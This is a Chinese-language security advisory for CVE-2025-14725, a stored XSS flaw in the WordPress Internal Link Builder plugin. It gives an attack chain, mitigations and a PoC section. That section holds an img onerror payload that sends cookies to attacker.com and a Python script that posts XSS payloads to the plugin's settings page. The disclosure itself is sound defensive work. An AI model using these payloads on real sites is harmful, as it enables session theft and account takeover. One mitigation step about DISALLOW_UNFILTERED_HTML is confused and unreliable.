IPBUF安全漏洞报告
English
CVE-2025-14725 CVSS 4.4 中危

CVE-2025-14725 WordPress Internal Link Builder插件存储型XSS漏洞

披露日期: 2026-01-14

漏洞信息

漏洞编号
CVE-2025-14725
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
4.4 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
WordPress Internal Link Builder插件

相关标签

CVE-2025-14725存储型XSSWordPress插件漏洞Internal Link BuilderCross-Site ScriptingAuthenticated AttackInput SanitizationOutput EscapingCMS安全WordPress安全

漏洞概述

CVE-2025-14725是WordPress的Internal Link Builder插件中的一个存储型跨站脚本(Stored XSS)安全漏洞。该插件是一款用于管理WordPress内部链接的实用工具。在1.0及之前的所有版本中,由于管理员设置页面存在输入清理不足和输出转义不完整的问题,恶意脚本可以被永久存储在数据库中。当其他用户访问包含恶意脚本的页面时,这些脚本会自动执行,从而导致会话劫持、敏感信息窃取等安全风险。此漏洞需要攻击者具备管理员级别或更高权限,仅影响多站点WordPress安装和禁用unfiltered_html功能的站点。攻击者可以利用此漏洞在管理员后台设置中注入恶意JavaScript代码,这些代码会被保存并在页面加载时执行。

技术细节

该漏洞存在于Internal Link Builder插件的InternalLinkBuilder.php文件第133行附近的管理设置功能中。漏洞的根本原因是插件在处理用户输入时未能进行充分的输入清理(input sanitization)和输出转义(output escaping)。具体来说,当管理员在插件设置页面保存配置时,攻击者(具有管理员权限)可以在输入字段中注入包含JavaScript代码的恶意payload。由于插件直接将用户输入存储到数据库而未进行适当的清理,当这些数据被重新输出到页面时,浏览器会将其解析为可执行脚本。存储型XSS的危害比反射型XSS更大,因为恶意脚本会被永久保存在服务器端,所有访问相关页面的用户都会受到影响。攻击者通常利用此漏洞窃取管理员的会话cookie、修改页面内容或进行进一步的攻击。

攻击链分析

STEP 1
信息收集
攻击者识别目标网站使用的WordPress版本及是否安装了Internal Link Builder插件,确认为多站点安装或unfiltered_html已禁用
STEP 2
权限获取
攻击者通过社会工程、凭证泄露或其他方式获取目标WordPress站点的管理员级别账户凭据
STEP 3
恶意Payload注入
使用管理员账号登录后,访问插件设置页面,在链接文本或URL等输入字段中注入包含JavaScript代码的恶意payload(如<script>标签或事件处理器)
STEP 4
数据持久化
提交的恶意payload被插件直接存储到WordPress数据库中,由于缺乏输入清理,恶意代码被永久保存
STEP 5
触发执行
当其他管理员或用户访问包含恶意数据的页面时,浏览器将存储的数据作为HTML解析并执行注入的JavaScript代码
STEP 6
攻击成功
攻击者通过执行的JavaScript窃取用户会话cookie、劫持管理员账户、修改站点内容或进行进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-14725 PoC - Stored XSS in Internal Link Builder Plugin --> <!-- Requires admin-level privileges --> <!-- Step 1: Inject malicious JavaScript via plugin settings --> <!-- Example payload in link text or URL field --> <script>alert(document.cookie)</script> <!-- Or more sophisticated payload for cookie stealing --> <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> <!-- Step 2: When admin accesses settings page or any page rendering the stored data --> <!-- The malicious script will execute automatically --> <!-- Python PoC for automation --> import requests target_url = "http://vulnerable-site.com/wp-admin/admin.php?page=internal-link-builder-settings" payload = { "internal_link_builder_text": "<script>alert('XSS')</script>", "internal_link_builder_url": "<img src=x onerror=alert(document.domain)>", "submit": "Save Changes" } session = requests.Session() # Assume valid admin session cookies are obtained session.cookies.set('wordpress_admin_cookie', 'admin_session_value') response = session.post(target_url, data=payload) print(f"XSS payload injected. Status: {response.status_code}")

影响范围

Internal Link Builder插件 <= 1.0(所有版本)

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1)在wp-config.php中确保DISALLOW_UNFILTERED_HTML未定义或设为false(但这会降低安全性);2)限制管理员账户数量并使用强密码及多因素认证;3)部署Web应用防火墙(WAF)规则检测和阻止XSS攻击特征;4)考虑临时禁用该插件直到安全更新发布;5)实施内容安全策略(CSP)头部以减少XSS攻击的影响。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表